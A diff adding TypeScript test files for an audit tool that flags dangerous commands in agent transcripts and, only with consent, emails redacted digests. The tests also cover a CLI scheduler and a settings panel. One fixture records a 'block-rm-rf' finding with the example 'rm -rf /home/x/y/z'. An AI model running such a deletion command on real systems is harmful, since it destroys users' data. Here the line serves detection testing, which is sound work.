+import type { AuditResult } from "../../src/audit/types";
+
+let home: string;
+let prevHome: string | undefined;
+
+const SCANNED_AT = "2026-08-14T12:00:00.000Z";
+
+function result(): AuditResult {
+ return {
+ version: 2,
+ scannedAt: SCANNED_AT,
+ scope: { cli: [], projects: "all", since: null },
+ transcripts: { scanned: 1, skipped: 0, errors: 0, durationMs: 1 },
+ results: [
+ {
+ name: "failproofai/block-rm-rf",
+ source: "builtin",
+ category: "Dangerous Commands",
+ severity: "deny",
+ hits: 4,
+ projects: 1,
+ firstSeen: SCANNED_AT,
+ lastSeen: SCANNED_AT,
+ examples: [
+ { sessionId: "s", cwd: "/home/x", timestamp: SCANNED_AT, example: "rm -rf /home/x/y/z" },
+ ],
+ displayTitle: "Ran rm -rf",
+ impact: "",
+ enabledInConfig: false,
+ installHint: "",
+ },
+ ],
+ totals: { hits: 4, projectsWithHits: 1 },
+ projectsScanned: [],
+ eventsScanned: 10,
+ enabledBuiltinNames: [],
+ };
+}
+
+function enableEmail(on: boolean) {
+ // ONE switch — `auto` means "scan on a timer AND tell me" — plus the consent
+ // stamp that says the person who set it was shown what "tell me" sends. Both
+ // are written by the same call in every opt-in path, so a machine with `auto`
+ // and no stamp is specifically one that inherited the key from a release
+ // where it meant "scan locally", and `grandfatheredAuto()` below covers it.
+ readConfigMock.mockReturnValue({
+ audit: { auto: on, intervalDays: 7, reportsConsentedAt: on ? 1_700_000_000_000 : undefined },
+ });
+}
+
+/** `auto` set under the OLD meaning: scheduled locally, never consented to send. */
+function grandfatheredAuto() {
+ readConfigMock.mockReturnValue({
+ audit: { auto: true, intervalDays: 7, reportsConsentedAt: undefined },
+ });
+}
+
+beforeEach(() => {
+ prevHome = process.env.FAILPROOFAI_HOME;
+ home = mkdtempSync(resolve(tmpdir(), "fpai-report-"));
+ process.env.FAILPROOFAI_HOME = home;
+ readConfigMock.mockReset();
+ getTokenMock.mockReset();
+ submitMock.mockReset();
+ enableEmail(true);
+ getTokenMock.mockResolvedValue({ access_token: "at", user: { id: "u", email: "a@b.c" } });
+ submitMock.mockResolvedValue({
+ report_id: "r1",
+ emailed: true,
+ reason: null,
+ next_window_from: SCANNED_AT,
+ });
+});
+
+afterEach(() => {
+ if (prevHome === undefined) delete process.env.FAILPROOFAI_HOME;
+ else process.env.FAILPROOFAI_HOME = prevHome;
+ rmSync(home, { recursive: true, force: true });
+});
+
+describe("reportHarm — the opt-in", () => {
+ it("does nothing at all when scheduled audits are off", async () => {
+ // The majority case. No token read, no machine id minted, no request.
+ enableEmail(false);
+ expect(await reportHarm(result())).toEqual({ kind: "disabled" });
+ expect(getTokenMock).not.toHaveBeenCalled();
+ expect(submitMock).not.toHaveBeenCalled();
+ expect(existsSync(auditMachineFile())).toBe(false);
+ });
+
+ it("treats an unreadable config as off — the direction that sends nothing", async () => {
+ readConfigMock.mockImplementation(() => {
+ throw new Error("corrupt");
+ });
+ expect(await reportHarm(result())).toEqual({ kind: "disabled" });
+ expect(submitMock).not.toHaveBeenCalled();
+ });
+
+ it("sends NOTHING for a machine that set `auto` before it meant sending", async () => {
+ // The upgrade case, and the whole reason the consent stamp exists. Through
+ // 1.0.0 `auto` meant "scan this machine locally on a timer": it needed no
+ // account, the server action that wrote it had no auth check, and the
+ // toggle's own copy said nothing leaves the machine. Reading that stored
+ // bit as consent to upload transcript excerpts would have mailed a digest
+ // from every such machine on its first scheduled run after the upgrade,
+ // with the only notice a line in the systemd journal.
+ grandfatheredAuto();
+ expect(await reportHarm(result())).toEqual({ kind: "consent-required" });
+ expect(submitMock).not.toHaveBeenCalled();
+ // Not even a token is read: the decision is made before anything touches
+ // the session, so this cannot depend on whether one happens to be present.
+ expect(getTokenMock).not.toHaveBeenCalled();
+ // And no machine identity is minted, so the machine stays unregistered.
+ expect(existsSync(auditMachineFile())).toBe(false);
+ });
+
+ it("sends once the same machine opts in again", async () => {
+ // The other half: consent-required is a pause, not a dead end. The CLI and
+ // the settings toggle both stamp `reportsConsentedAt` in the same write
+ // that sets `auto`, and that is all this needs to resume.
+ enableEmail(true);
+ expect((await reportHarm(result())).kind).toBe("sent");
+ expect(submitMock).toHaveBeenCalledTimes(1);
+ });
+
+ it("reports signed-out rather than failing when there is no session", async () => {
+ // An expired or revoked token. The scan already succeeded and its result is
+ // on the dashboard; only the email is lost, and the remedy needs a human.
+ getTokenMock.mockResolvedValue(null);
+ expect(await reportHarm(result())).toEqual({ kind: "signed-out" });
+ expect(submitMock).not.toHaveBeenCalled();
+ });
+});
+
+describe("reportHarm — the request", () => {
+ it("sends a redacted payload and never the destination address", async () => {
+ await reportHarm(result());
+ const [token, body] = submitMock.mock.calls[0];
+ expect(token).toBe("at");
+ expect(body.machine_id).toMatch(/[0-9a-f-]{36}/);
+ expect(body.window_to).toBe(SCANNED_AT);
+ expect(body.harmful[0].policy).toBe("block-rm-rf");
+ // Redaction reached the wire.
+ expect(body.harmful[0].examples[0]).toContain("/…/z");
+ // The api-server takes the address from the token claims, so a report can
+ // never name where its own digest goes.
+ expect(JSON.stringify(body)).not.toContain("a@b.c");
+ });
+
+ it("mints the machine id once and reuses it", async () => {
+ await reportHarm(result());
+ const first = JSON.parse(readFileSync(auditMachineFile(), "utf8")).machine_id;
+ await reportHarm(result());
+ const second = JSON.parse(readFileSync(auditMachineFile(), "utf8")).machine_id;
+ expect(second).toBe(first);
+ });
+
+ it("persists the server's watermark, not its own window", async () => {
+ // The server anchors on the last DELIVERED digest. Computing this locally
+ // would advance it past a held or failed digest and drop those findings.
+ submitMock.mockResolvedValue({
+ report_id: "r1",
+ emailed: true,
+ reason: null,
+ next_window_from: "2026-08-13T00:00:00.000Z",
+ });
+ await reportHarm(result());
+ expect(JSON.parse(readFileSync(auditMachineFile(), "utf8")).last_reported_at).toBe(
+ "2026-08-13T00:00:00.000Z",
+ );
+ });
+
+ it("persists the watermark even when nothing was mailed", async () => {
+ // The server's answer already accounts for that — a held digest leaves the
+ // watermark where it was. Writing it back is how this machine inherits that
+ // decision instead of re-deriving it and getting it subtly wrong.
+ submitMock.mockResolvedValue({
+ report_id: "r1",
+ emailed: false,
+ reason: "cooldown",
+ next_window_from: "2026-08-01T00:00:00.000Z",
+ });
+ const outcome = await reportHarm(result());
+ expect(outcome).toEqual({ kind: "held", hits: 4, reason: "cooldown" });
+ expect(JSON.parse(readFileSync(auditMachineFile(), "utf8")).last_reported_at).toBe(
+ "2026-08-01T00:00:00.000Z",
+ );
+ });
+
+ it("sends the window it last recorded", async () => {
+ mkdirSync(resolve(home, "audit"), { recursive: true });
+ writeFileSync(
+ auditMachineFile(),
+ JSON.stringify({ machine_id: "m-1", last_reported_at: "2026-08-07T00:00:00.000Z", created_at: SCANNED_AT }),
+ );
+ await reportHarm(result());
+ expect(submitMock.mock.calls[0][1].window_from).toBe("2026-08-07T00:00:00.000Z");
+ });
+});
+
+describe("reportHarm — failure never escapes", () => {
+ it("returns an outcome instead of throwing when the request fails", async () => {
+ submitMock.mockRejectedValue(new Error("ECONNREFUSED"));
+ const outcome = await reportHarm(result());
+ expect(outcome.kind).toBe("failed");
+ if (outcome.kind === "failed") expect(outcome.error).toContain("ECONNREFUSED");
+ });
+
+ it("survives a machine file that cannot be written", async () => {
+ // A read-only home, or a full disk. The scan still succeeded.
+ writeFileSync(resolve(home, "audit"), "not a directory");
+ const outcome = await reportHarm(result());
+ expect(outcome.kind).toBe("failed");
+ });
+});
+
+describe("describeOutcome", () => {
+ it("says nothing to the majority who never opted in", () => {
+ expect(describeOutcome({ kind: "disabled" })).toBeNull();
+ });
+
+ it("tells a signed-out machine how to resume", () => {
+ const line = describeOutcome({ kind: "signed-out" });
+ expect(line).toContain("signed out");
+ // Names the two surfaces that can actually fix it. It used to say "sign in
+ // from the audit page" — which stopped being true when this release moved
+ // that dialog behind "invite a friend".
+ expect(line).toContain("--schedule");
+ expect(line).toContain("/settings");
+ expect(line).not.toContain("audit page");
+ });
+
+ it("tells a grandfathered machine how to turn digests on", () => {
+ // Must be actionable, not just a refusal: this machine's owner asked for
+ // scheduled scans and is still getting them, and the line is the only place
+ // that says why no email arrived.
+ const line = describeOutcome({ kind: "consent-required" });
+ expect(line).toContain("--schedule");
+ expect(line).toContain("/settings");
+ });
+
+ it("does not call a held digest an error", () => {
+ // A machine below the threshold, or inside its cooldown, is working exactly
+ // as intended. Calling that a failure trains people to ignore the line.
+ const line = describeOutcome({ kind: "held", hits: 2, reason: "below_threshold" }) ?? "";
+ // Matched against the MESSAGE, not the whole line — the brand name itself
+ // contains "fail", which a naive /fail/i would happily flag.
+ const message = line.replace(/^failproofai:\s*/, "");
+ expect(message).not.toMatch(/error|fail|could not/i);
+ expect(message).toContain("below_threshold");
+ });
+
+ it("pluralises findings", () => {
+ expect(describeOutcome({ kind: "sent", hits: 1 })).toContain("1 finding)");
+ expect(describeOutcome({ kind: "sent", hits: 3 })).toContain("3 findings)");
+ });
+});
diff --git a/__tests__/audit/schedule-cli.test.ts b/__tests__/audit/schedule-cli.test.ts
new file mode 100644
index 000000000..e572ff1fe
--- /dev/null
+++ b/__tests__/audit/schedule-cli.test.ts
@@ -0,0 +1,298 @@
+// @vitest-environment node
+/**
+ * `failproofai audit --schedule` / `--no-schedule` / `--status`.
+ *
+ * The property worth defending here is the one the user asked for by name: the
+ * CLI and the dashboard must always agree. That is structural — both call
+ * `updateConfig` and both read `audit/session.json` — so what these tests pin is
+ * the shape that makes it structural, plus the two orderings that decide whether
+ * a half-finished command leaves state behind:
+ *
+ * - a bad day count must be rejected BEFORE anything is written or any code is
+ * emailed, or a typo costs a login;
+ * - turning scheduling ON requires a session (a timer with nobody to tell is a
+ * switch that reads as on and produces nothing), while turning it OFF never
+ * checks — an expired session must not trap somebody into keeping a feature
+ * they are trying to disable.
+ */
+import { describe, it, expect, beforeEach, afterEach, vi } from "vitest";
+import { mkdtempSync, rmSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { resolve } from "node:path";
+
+import { readConfig, updateConfig } from "../../src/hooks/fp-config";
+import { writeAuth, readAuth, deleteAuth, type StoredAuth } from "../../lib/auth/auth-store";
+import { runScheduleOn, runScheduleOff, runScheduleStatus, ScheduleCliError } from "../../src/audit/schedule-cli";
+
+/**
+ * The daemon's real state is a property of the machine running the tests — this
+ * repo's own dev box has a `failproofaid@sidd` unit, CI has none — so reading it
+ * for real would make these tests pass or fail on where they ran. It is stubbed,
+ * and the two answers that change what the command prints are asserted directly.
+ */
+const daemonStatus = vi.hoisted(() => ({ value: "running" as string }));
+vi.mock("../../src/hooks/daemon-service", () => ({
+ daemonServiceStatus: () => daemonStatus.value,
+ isDaemonSupportedPlatform: () => true,
+}));
+
+let home: string;
+let prevHome: string | undefined;
+let out: string[];
+let err: string[];
+
+const SESSION: StoredAuth = {
+ access_token: "at",
+ refresh_token: "rt",
+ access_expires_at: Math.floor(Date.now() / 1000) + 3600,
+ refresh_expires_at: Math.floor(Date.now() / 1000) + 86_400,
+ user: { id: "u_1", email: "you@example.com" },
+};
+
+beforeEach(() => {
+ prevHome = process.env.FAILPROOFAI_HOME;
+ home = mkdtempSync(resolve(tmpdir(), "fpai-schedcli-"));
+ process.env.FAILPROOFAI_HOME = home;
+ out = [];
+ err = [];
+ daemonStatus.value = "running";
+ vi.spyOn(process.stdout, "write").mockImplementation((chunk: unknown) => {
+ out.push(String(chunk));
+ return true;
+ });
+ vi.spyOn(process.stderr, "write").mockImplementation((chunk: unknown) => {
+ err.push(String(chunk));
+ return true;
+ });
+});
+
+afterEach(() => {
+ vi.restoreAllMocks();
+ if (prevHome === undefined) delete process.env.FAILPROOFAI_HOME;
+ else process.env.FAILPROOFAI_HOME = prevHome;
+ rmSync(home, { recursive: true, force: true });
+});
+
+const stdout = () => out.join("");
+const stderr = () => err.join("");
+
+describe("audit --schedule", () => {
+ it("turns scheduling on and records the interval", async () => {
+ writeAuth(SESSION);
+ await runScheduleOn("3");
+
+ const config = readConfig();
+ expect(config.audit.auto).toBe(true);
+ expect(config.audit.intervalDays).toBe(3);
+ // The address is named, because that is the half of the decision a person
+ // is most likely to have forgotten.
+ expect(stdout()).toContain("you@example.com");
+ expect(stdout()).toContain("every 3 days");
+ });
+
+ it("keeps the existing interval when no day count is given", async () => {
+ writeAuth(SESSION);
+ updateConfig({ audit: { intervalDays: 14 } });
+
+ await runScheduleOn(undefined);
+
+ expect(readConfig().audit.auto).toBe(true);
+ expect(readConfig().audit.intervalDays).toBe(14);
+ });
+
+ it("prints the interval the config actually kept, not the one asked for", async () => {
+ writeAuth(SESSION);
+ // 90 is the ceiling `readIntervalDays` enforces. The CLI rejects anything
+ // above it outright, so the clamp is exercised at the boundary instead.
+ await runScheduleOn("90");
+ expect(readConfig().audit.intervalDays).toBe(90);
+ expect(stdout()).toContain("every 90 days");
+ });
+
+ it.each(["0", "91", "-1", "2.5", "soon", ""])(
+ "rejects %o without writing anything or asking for a code",
+ async (bad) => {
+ // No session on disk: if the command reached the sign-in step it would
+ // throw a LoginError about a non-interactive terminal instead, and the
+ // day count would have gone unchecked until after an email was sent.
+ await expect(runScheduleOn(bad)).rejects.toBeInstanceOf(ScheduleCliError);
+ expect(readConfig().audit.auto).toBe(false);
+ },
+ );
+
+ it("refuses to turn scheduling on with no session and no terminal", async () => {
+ // vitest runs without a TTY, so `canPrompt()` is false — the same state a
+ // cron line or a CI runner is in. It must fail with a sentence rather than
+ // hang on a prompt nobody will answer.
+ await expect(runScheduleOn("7")).rejects.toThrow(/interactive terminal/i);
+ expect(readConfig().audit.auto).toBe(false);
+ });
+});
+
+describe("audit --no-schedule", () => {
+ it("turns scheduling off and leaves the session alone", async () => {
+ writeAuth(SESSION);
+ await runScheduleOn("7");
+ out = [];
+
+ runScheduleOff();
+
+ expect(readConfig().audit.auto).toBe(false);
+ // Signing out is a separate decision, and the command says so — the session
+ // file is untouched, so re-enabling later costs no second round of OTP.
+ expect(readAuth()?.user.email).toBe("you@example.com");
+ expect(stdout()).toContain("off");
+ });
+
+ it("works when signed out — an expired session must not trap anyone", () => {
+ updateConfig({ audit: { auto: true } });
+ deleteAuth();
+
+ runScheduleOff();
+
+ expect(readConfig().audit.auto).toBe(false);
+ });
+
+ it("says so when it was already off, rather than claiming it changed something", () => {
+ runScheduleOff();
+ expect(stdout()).toContain("already off");
+ });
+});
+
+describe("audit --status", () => {
+ it("reports off, with no email, on a fresh machine", () => {
+ runScheduleStatus();
+ expect(stdout()).toContain("scheduled audit");
+ expect(stdout()).toContain("off");
+ expect(stdout()).toContain("signed out");
+ });
+
+ it("reports on, the interval, and where reports go", async () => {
+ writeAuth(SESSION);
+ await runScheduleOn("5");
+ out = [];
+
+ runScheduleStatus();
+
+ expect(stdout()).toContain("on");
+ expect(stdout()).toContain("5 days");
+ expect(stdout()).toContain("you@example.com");
+ });
+
+ it("names the scans-continue-digests-pause state when scheduling outlives the session", async () => {
+ writeAuth(SESSION);
+ await runScheduleOn("7");
+ deleteAuth();
+ out = [];
+
+ runScheduleStatus();
+
+ // The exact state `report-harm.ts` reports as "signed-out". Silence about
+ // it would look like the feature failing.
+ expect(stdout()).toMatch(/scans continue/i);
+ });
+
+ it("never throws on a home with no schedule, cache or machine file", () => {
+ expect(() => runScheduleStatus()).not.toThrow();
+ });
+});
+
+describe("CLI ⟷ dashboard parity", () => {
+ it("writes the same keys the dashboard's server actions read", async () => {
+ writeAuth(SESSION);
+ await runScheduleOn("11");
+
+ // `getScheduledAuditAction` reads exactly these two off `readConfig()`.
+ // Same file, same reader, same writer — there is no second copy to drift.
+ const { audit } = readConfig();
+ expect({ auto: audit.auto, intervalDays: audit.intervalDays }).toEqual({
+ auto: true,
+ intervalDays: 11,
+ });
+ });
+
+ it("a dashboard-side write is what the CLI reports", () => {
+ updateConfig({ audit: { auto: true, intervalDays: 21 } });
+ runScheduleStatus();
+ expect(stdout()).toContain("21 days");
+ });
+});
+
+describe("daemon reporting", () => {
+ it("warns when scheduling is on but nothing will run it", async () => {
+ daemonStatus.value = "not-installed";
+ writeAuth(SESSION);
+ await runScheduleOn("7");
+ // Config says on; nothing runs it. Saying only "on" would leave the machine
+ // in the same on-but-silent state the settings panel exists to make visible.
+ expect(readConfig().audit.auto).toBe(true);
+ expect(stderr()).toMatch(/nothing will run/i);
+ expect(stderr()).toContain("failproofai config");
+ });
+
+ it("stays quiet when the daemon is up — a warning with no action is noise", async () => {
+ writeAuth(SESSION);
+ await runScheduleOn("7");
+ expect(stderr()).toBe("");
+ });
+
+ it("--status names the repair for every state the daemon can be in", () => {
+ for (const [status, expected] of [
+ ["running", /running/],
+ ["stopped", /failproofai config/],
+ ["not-installed", /not installed/],
+ ["condition-failed", /binary is missing/],
+ ] as const) {
+ out = [];
+ daemonStatus.value = status;
+ runScheduleStatus();
+ expect(stdout(), status).toMatch(expected);
+ }
+ });
+});
+
+describe("--email", () => {
+ it("signs in without asking for the address", async () => {
+ // The point of the flag: one command, then the only thing left to do is
+ // read the code out of the email and type it.
+ writeAuth(SESSION);
+ await runScheduleOn("7", "you@example.com");
+
+ expect(readConfig().audit.auto).toBe(true);
+ expect(readConfig().audit.intervalDays).toBe(7);
+ });
+
+ it("matches the stored address case-insensitively, as a mail server would", async () => {
+ writeAuth(SESSION);
+ await expect(runScheduleOn("7", "YOU@Example.COM")).resolves.toBeUndefined();
+ expect(readConfig().audit.auto).toBe(true);
+ });
+
+ it("refuses a DIFFERENT address rather than silently re-pointing the machine", async () => {
+ // Where a machine's digests go is not something a flag should change
+ // quietly — that is a thing nobody notices until they stop arriving.
+ writeAuth(SESSION);
+
+ await expect(runScheduleOn("7", "someone.else@example.com")).rejects.toThrow(
+ /already signed in as you@example\.com/i,
+ );
+ // And nothing was written on the way to refusing.
+ expect(readConfig().audit.auto).toBe(false);
+ });
+
+ it("rejects an address that is not one, before anything is sent", async () => {
+ // No session on disk: reaching the sign-in would throw about a
+ // non-interactive terminal instead, which is how we know this failed at the
+ // flag rather than after a code had already gone out.
+ for (const bad of ["nope", "a@b", "@example.com", ""]) {
+ await expect(runScheduleOn("7", bad)).rejects.toThrow(/--email/);
+ }
+ expect(readConfig().audit.auto).toBe(false);
+ });
+
+ it("still requires a terminal for the code itself", async () => {
+ // The flag answers the first question, not the second. vitest has no TTY,
+ // which is the same position a cron line is in.
+ await expect(runScheduleOn("7", "new@example.com")).rejects.toThrow(/interactive terminal/i);
+ });
+});
diff --git a/__tests__/audit/settings-scheduled-audit.test.tsx b/__tests__/audit/settings-scheduled-audit.test.tsx
new file mode 100644
index 000000000..b9aaeef6a
--- /dev/null
+++ b/__tests__/audit/settings-scheduled-audit.test.tsx
@@ -0,0 +1,456 @@
+/**
+ * /settings — the scheduled-audit panel.
+ *
+ * These moved here with the controls. The properties worth pinning are the ones
+ * that decide whether a person can tell what their machine is actually doing:
+ * that "on" is distinguishable from "on but nothing will run", that a signed-out
+ * machine says so instead of quietly not mailing, and that turning it on cannot
+ * be done without somewhere to send the report.
+ */
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import { render, screen, fireEvent, waitFor, cleanup } from "@testing-library/react";
+
+const { getViewMock, setAutoMock, setIntervalMock, triggerRunMock, toastMock, captureMock } =
+ vi.hoisted(() => ({
+ getViewMock: vi.fn(),
+ setAutoMock: vi.fn(),
+ setIntervalMock: vi.fn(),
+ triggerRunMock: vi.fn(),
+ toastMock: vi.fn(),
+ // HOISTED, so `capture` keeps ONE identity across renders. AuthDialog lists
+ // it in a useEffect dep array, so returning a fresh `vi.fn()` from the hook
+ // re-fires that effect on every render and loops until the worker dies of a
+ // heap exhaustion 4GB later — which is exactly how this file first failed.
+ // The real `usePostHog` returns a useCallback-stable fn.
+ captureMock: vi.fn(),
+ }));
+
+vi.mock("@/app/actions/get-scheduled-audit", () => ({ getScheduledAuditAction: getViewMock }));
+vi.mock("@/app/actions/update-scheduled-audit", () => ({
+ setAutoAuditAction: setAutoMock,
+ setAuditIntervalAction: setIntervalMock,
+}));
+vi.mock("@/app/audit/_components/rerun-button", () => ({
+ triggerRun: triggerRunMock,
+ RerunError: class RerunError extends Error {
+ kind = "failed";
+ },
+}));
+vi.mock("@/app/components/toast", () => ({ toast: toastMock }));
+vi.mock("@/contexts/PostHogContext", () => ({ usePostHog: () => ({ capture: captureMock }) }));
+
+import SettingsClient from "@/app/settings/settings-client";
+
+const DAY = 86_400_000;
+
+function view(over: Record = {}) {
+ return {
+ auto: false,
+ intervalDays: 7,
+ signedInAs: null,
+ daemon: "running",
+ schedule: null,
+ lastResultAt: null,
+ lastScan: null,
+ daemonStartedAtMs: null,
+ ...over,
+ };
+}
+
+/**
+ * Render the way the real page does: the SERVER seeds `initial`, and the client
+ * refreshes from the same action on mount. Passing `initial` here is what makes
+ * these tests exercise the shipped path — a client-only render would test a
+ * first frame that no user ever sees.
+ */
+function renderSettings(initial: ReturnType | null = null) {
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
+ return render( );
+}
+
+/** Whatever `getScheduledAuditAction` was last told to resolve with. */
+let lastView: ReturnType | null = null;
+
+beforeEach(() => {
+ lastView = view();
+ getViewMock.mockReset().mockResolvedValue(view());
+ setAutoMock.mockReset().mockResolvedValue({ ok: true, auto: true });
+ setIntervalMock.mockReset().mockResolvedValue({ intervalDays: 7 });
+ triggerRunMock.mockReset().mockResolvedValue(undefined);
+ toastMock.mockReset();
+ vi.stubGlobal("fetch", vi.fn(async () => new Response("{}", { status: 200 })));
+});
+
+afterEach(() => {
+ cleanup();
+ vi.unstubAllGlobals();
+});
+
+describe("daemon state", () => {
+ it("shows the service as running", async () => {
+ renderSettings();
+ expect(await screen.findByText("running")).toBeInTheDocument();
+ });
+
+ it("shows how long it has been up, counted from the start time", async () => {
+ // An ABSOLUTE start time is what the action returns, so the page keeps
+ // counting without re-fetching. Three days back reads as "up 3d".
+ lastView = view({ daemonStartedAtMs: Date.now() - 3 * DAY });
+ getViewMock.mockResolvedValue(lastView);
+ renderSettings();
+ expect(await screen.findByText("up 3d")).toBeInTheDocument();
+ });
+
+ it("says nothing about uptime when the platform cannot answer", async () => {
+ // macOS returns null rather than a guess. The cell still reports the state.
+ lastView = view({ daemon: "running", daemonStartedAtMs: null });
+ getViewMock.mockResolvedValue(lastView);
+ renderSettings();
+ expect(await screen.findByText("running")).toBeInTheDocument();
+ expect(screen.queryByText(/^up /)).not.toBeInTheDocument();
+ });
+
+ it("says plainly when scanning is on but nothing will run", async () => {
+ // "On but silent" is the state a panel that hid the service would produce,
+ // and to the user it just looks like the feature does not work.
+ lastView = view({ auto: true, daemon: "not-installed", signedInAs: { id: "u", email: "a@b.c" } });
+ getViewMock.mockResolvedValue(lastView);
+ renderSettings();
+ expect(await screen.findByText(/isn't installed/)).toBeInTheDocument();
+ expect(screen.getByText("not installed")).toBeInTheDocument();
+ });
+
+ it("explains an unsupported platform rather than blaming the service", async () => {
+ lastView = view({ auto: true, daemon: "unsupported-platform", signedInAs: { id: "u", email: "a@b.c" } });
+ getViewMock.mockResolvedValue(lastView);
+ renderSettings();
+ expect(await screen.findByText(/isn't available on this platform/)).toBeInTheDocument();
+ });
+});
+
+describe("the switch", () => {
+ it("asks for an email before turning on, because there must be somewhere to send", async () => {
+ renderSettings();
+ fireEvent.click(await screen.findByRole("switch", { name: "turn on scheduled audits" }));
+ expect(await screen.findByText("where should the report go?")).toBeInTheDocument();
+ expect(setAutoMock).not.toHaveBeenCalled();
+ });
+
+ it("turns on directly when already signed in", async () => {
+ lastView = view({ signedInAs: { id: "u", email: "sidd@exosphere.host" } });
+ getViewMock.mockResolvedValue(lastView);
+ renderSettings();
+ fireEvent.click(await screen.findByRole("switch", { name: "turn on scheduled audits" }));
+ await waitFor(() => expect(setAutoMock).toHaveBeenCalledWith(true));
+ expect(screen.queryByText("where should the report go?")).toBeNull();
+ });
+
+ it("opens the sign-in dialog when the server rejects the stored session", async () => {
+ // The page reads "reports go to …" from the LOCAL session file, so it takes
+ // the signed-in path and calls the action directly. When the api-server has
+ // since rejected that session — expired, or minted against a different
+ // server — the click used to dead-end on "could not turn that on." with no
+ // way forward. The one failure with an obvious next step now offers it.
+ lastView = view({ signedInAs: { id: "u", email: "stale@exosphere.host" } });
+ getViewMock.mockResolvedValue(lastView);
+ setAutoMock.mockResolvedValue({ ok: false, reason: "signed-out" });
+
+ renderSettings();
+ fireEvent.click(await screen.findByRole("switch", { name: "turn on scheduled audits" }));
+
+ expect(await screen.findByText("where should the report go?")).toBeInTheDocument();
+ // And the switch does not sit there claiming to be on.
+ await waitFor(() =>
+ expect(screen.getByRole("switch", { name: "turn on scheduled audits" })).toHaveAttribute(
+ "aria-checked",
+ "false",
+ ),
+ );
+ });
+
+ it("turns OFF without asking anything", async () => {
+ // An expired session must never trap somebody into keeping a feature they
+ // are trying to disable.
+ lastView = view({ auto: true, signedInAs: null });
+ // Mount reads the real state; the refresh AFTER the write is failed on
+ // purpose, so the only thing that can move the switch is the action's own
+ // answer. Without that the reload would flip it regardless and this would
+ // assert nothing about how the result is read.
+ getViewMock.mockResolvedValueOnce(lastView).mockRejectedValue(new Error("gone"));
+ // The FULL discriminated shape. `{ auto: false }` alone is a value the
+ // action can no longer return, and the component narrows on `res.ok` before
+ // touching `auto` — so a mock missing it left the "did the switch actually
+ // move" half of this test asserting nothing at all.
+ setAutoMock.mockResolvedValue({ ok: true, auto: false });
+ renderSettings();
+ fireEvent.click(await screen.findByRole("switch", { name: "turn off scheduled audits" }));
+ await waitFor(() => expect(setAutoMock).toHaveBeenCalledWith(false));
+ expect(
+ await screen.findByRole("switch", { name: "turn on scheduled audits" }),
+ ).toHaveAttribute("aria-checked", "false");
+ });
+
+ it("reverts the toggle when the write fails", async () => {
+ lastView = view({ signedInAs: { id: "u", email: "a@b.c" } });
+ getViewMock.mockResolvedValue(lastView);
+ setAutoMock.mockRejectedValue(new Error("nope"));
+ renderSettings();
+ const sw = await screen.findByRole("switch", { name: "turn on scheduled audits" });
+ fireEvent.click(sw);
+ await waitFor(() => expect(toastMock).toHaveBeenCalledWith("could not turn that on."));
+ expect(await screen.findByRole("switch", { name: "turn on scheduled audits" })).toBeInTheDocument();
+ });
+});
+
+describe("signed-out with the timer on", () => {
+ it("names the state instead of quietly not mailing", async () => {
+ // The whole point of separating "auth gates setup" from "auth gates
+ // operation": the scans keep running, so the panel has to say why no
+ // digest is arriving.
+ lastView = view({ auto: true, signedInAs: null });
+ getViewMock.mockResolvedValue(lastView);
+ renderSettings();
+ expect(await screen.findByText(/signed out — scans continue, digests are paused/)).toBeInTheDocument();
+ });
+
+ it("shows the destination when signed in", async () => {
+ getViewMock.mockResolvedValue(
+ view({ auto: true, signedInAs: { id: "u", email: "sidd@exosphere.host" } }),
+ );
+ renderSettings();
+ expect(await screen.findByText("sidd@exosphere.host")).toBeInTheDocument();
+ });
+});
+
+describe("the interval", () => {
+ it("reflects what the config stored, not what was typed", async () => {
+ // The 1..90 clamp lives in readIntervalDays and is deliberately not
+ // duplicated in the UI — so a hand-typed 3650 must come back as 90.
+ lastView = view({ signedInAs: { id: "u", email: "a@b.c" } });
+ getViewMock.mockResolvedValue(lastView);
+ setIntervalMock.mockResolvedValue({ intervalDays: 90 });
+ renderSettings();
+ const input = await screen.findByLabelText("days between scheduled scans");
+ fireEvent.change(input, { target: { value: "3650" } });
+ fireEvent.blur(input);
+ await waitFor(() => expect(input).toHaveValue(90));
+ });
+
+ it("saves a change back to the value the page was first loaded with", async () => {
+ // The blur handler skips the write when the typed value already matches
+ // what is on disk, and `commitInterval` deliberately does not re-read — so
+ // the on-disk mirror it compares against has to be updated by the commit
+ // itself. Left stale, it lagged two edits behind: 7 → 14 saved, then 14 → 7
+ // compared 7 against the ORIGINAL 7, decided nothing had changed, and
+ // dropped the write. The input read 7 while the config still said 14.
+ lastView = view({ signedInAs: { id: "u", email: "a@b.c" } });
+ getViewMock.mockResolvedValue(lastView);
+ setIntervalMock.mockImplementation(async (days: number) => ({ intervalDays: days }));
+ renderSettings();
+ const input = await screen.findByLabelText("days between scheduled scans");
+
+ fireEvent.change(input, { target: { value: "14" } });
+ fireEvent.blur(input);
+ await waitFor(() => expect(setIntervalMock).toHaveBeenCalledWith(14));
+
+ fireEvent.change(input, { target: { value: "7" } });
+ fireEvent.blur(input);
+ await waitFor(() => expect(setIntervalMock).toHaveBeenCalledWith(7));
+ });
+});
+
+describe("a refresh that fails", () => {
+ it("keeps a console the client has already loaded", async () => {
+ // `reload` has an empty dep list, so the `view` it closed over was frozen at
+ // the first render — and on a page the SERVER could not seed (`initial` is
+ // null, which `page.tsx` handles by leaving the client to load it) that
+ // frozen value stayed null even after the client succeeded. The next
+ // transient failure then read "there is nothing on screen" and replaced a
+ // working console with the unreadable-settings message. The focus listener
+ // fires on every visibilitychange, including a tab hide, so "next" is soon.
+ // `lastView` is what `renderSettings` falls back to, so it has to be
+ // cleared for `initial` to actually arrive as null — which is the whole
+ // premise of this test.
+ lastView = null;
+ getViewMock.mockResolvedValue(view({ auto: true, signedInAs: { id: "u", email: "a@b.c" } }));
+ renderSettings(null);
+ expect(await screen.findByText("a@b.c")).toBeInTheDocument();
+
+ getViewMock.mockRejectedValue(new Error("api down"));
+ fireEvent.focus(window);
+
+ await waitFor(() => expect(getViewMock).toHaveBeenCalledTimes(2));
+ expect(screen.queryByText(/could not read this machine/i)).not.toBeInTheDocument();
+ expect(screen.getByText("a@b.c")).toBeInTheDocument();
+ });
+
+ it("still reports a machine it has never managed to read", async () => {
+ // The other direction, which the guard exists for: nothing was ever loaded,
+ // so there is no truth on screen to protect and the page must say so rather
+ // than render an empty console.
+ lastView = null;
+ getViewMock.mockRejectedValue(new Error("api down"));
+ renderSettings(null);
+ expect(await screen.findByText(/could not read this machine/i)).toBeInTheDocument();
